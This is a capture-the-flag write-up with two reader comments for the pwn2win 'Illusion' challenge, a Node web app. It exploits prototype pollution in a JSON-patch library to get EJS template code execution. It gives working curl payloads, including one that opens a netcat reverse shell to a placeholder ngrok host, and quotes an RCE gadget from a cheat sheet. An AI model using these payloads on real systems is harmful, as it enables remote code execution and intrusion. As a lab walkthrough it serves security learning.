Rating: 5.0

Basic discovery

Reading the Dockerfile, we discover the flag is in /root/flag.txt, there is a script /readFlag that can access and read it.
We also learn that connecting to the Docker, we will be the user guest. We have basically no access (especially no reading of /root/flag.txt)

Local docker setup

After building the docker image locally, we can start it with port forwarding with sudo docker run -p 127.0.0.1:1337:1337/tcp --name illusion DOCKER_IMAGE_ID

Calling the webapp

Trying to access the webapp, a login/password is required.
In the code we can see: users: { "admin": process.env.SECRET || "admin" }
If process.env.SECRET is not specified, login is "admin", password is "admin". When trying to solve the challenge, pwn2win gives us our custom admin password.

Interacting with the webapp

The webapp is very simple. No button, nothing we can do on the interface.
All services are "online" by default.

We can use our admin:admin basic authentication to interact with it. Security cameras can be put offline using:

curl --header "Content-Type: application/json" \
  --header "Authorization: Basic YWRtaW46YWRtaW4=" \
  --request POST \
  --data '{"cameras": "offline"}' \
  127.0.0.1:1337/change_status

What is happening behind the scene

In the JS code there is an Object:

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

They write our input {"cameras": "offline"}' in the following, service = cameras, status = offline:

{
  "op": "replace",
  "path": "/" + service,
  "value": status
}

Then a library is used to update the services object we have previously seen:

jsonpatch.applyPatch(services, patch)

Then, when a load the page:

app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

services is sent to a template renderer to fill the status of the different variables. As we put the cameras offline, the website says so.

Exploit

Vector of attack

The template renderer is in ejs.
This is subject to a prototype pollution attack. => https://blog.p6.is/Web-Security-CheatSheet/
TL;DR The following example allow en RCE when the application is using ejs to render a template: Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";

The question is: how to pollute Object prototype?
In this webapp, we cannot do much. Only change status.
The library used for updating the Object services, and that is interacting with our input, is https://github.com/Starcounter-Jack
This library is protected against modifications of __proto__. However this protection is not enough to guard against prototype pollution! A patch has been proposed months ago to fix the vulnerability, but has never been merged: https://github.com/Starcounter-Jack/JSON-Patch/pull/262

As services is an Object, we can pollute the prototype of Object through: services.constructor.prototype (same prototype as Object).

Testing the attack

Connecting on docker, as a guest, we cannot do much. What we can do is create a file in /tmp.
Let's try to create a file:

curl --header "Content-Type: application/json" \
  --header "Authorization: Basic YWRtaW46YWRtaW4=" \
  --request POST \
  --data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
  127.0.0.1:1337/change_status

We must then load the website for the rendering to happen.
Checking tmp ls /tmp we now have a "test" file.

Well great, we can execute command, but even if we can call cat /readFlag, we have no way to display the information on the webapp.

Reverse shell to the rescue

For this, I used ngrok. The aim is to have a public IP against which I can send the reverse shell, and that the server behind this public IP will then redirect all that to my VM.
Launching it with port redirection on 12345, nc -lvp 12345 ready to get the reverse shell, we can use mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f inside our docker
We successfully have a reverse shell.

The flag

We can now send the full payload:

curl --header "Content-Type: application/json" \
  --header "Authorization: Basic YWRtaW46YWRtaW4=" \
  --request POST \
  --data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').execSync(`mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f`);x" }' \
  127.0.0.1:1337/change_status

Browse the webapp, get the reverse shell, cat /readFlag and we have the flag CTF-BR{f4k3_l0cal_fl4g_f0r_test1ng}

0xl1icksterMay 30, 2021, 9:56 p.m.

I don't see the test file we created with the touch /tmp/test ?


AmendilJune 6, 2021, 6:27 p.m.

After sending the payload:
```bash
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
127.0.0.1:1337/change_status
```

You must visit `http://127.0.0.1:1337/`
After that you can log in the docker container by calling `sudo docker exec -ti illusion sh` (works if named illusion, as described in the writeup).
Inside the docker container, you can `ls /tmp` and you will see the file.